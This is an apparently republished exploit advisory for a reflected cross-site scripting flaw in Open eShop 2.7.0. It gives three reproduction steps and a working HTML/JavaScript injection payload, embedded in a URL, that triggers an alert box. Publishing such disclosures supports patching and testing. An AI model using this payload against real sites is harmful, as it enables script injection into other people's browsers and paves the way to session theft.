Open eShop 2.7.0 Cross Site Scripting
2024-4-8 22:0:2 Author: packetstormsecurity.com(查看原文) 阅读量:2 收藏 
# Exploit Title: Open eShop Version : 2.7.0  - Reflected XSS
# Exploit Author: tmrswrr 
# Vendor Homepage: http://www.open-eshop.com/
# Version : 2.7.0
# Date : 04/08/2024
1 ) Go to home page https://127.0.0.1/Open_eShop
2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>
3 ) After save it you will be see xss alert
https://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>

文章来源: https://packetstormsecurity.com/files/177981/openeshop270-xss.txt
如有侵权请联系:admin#unsafe.sh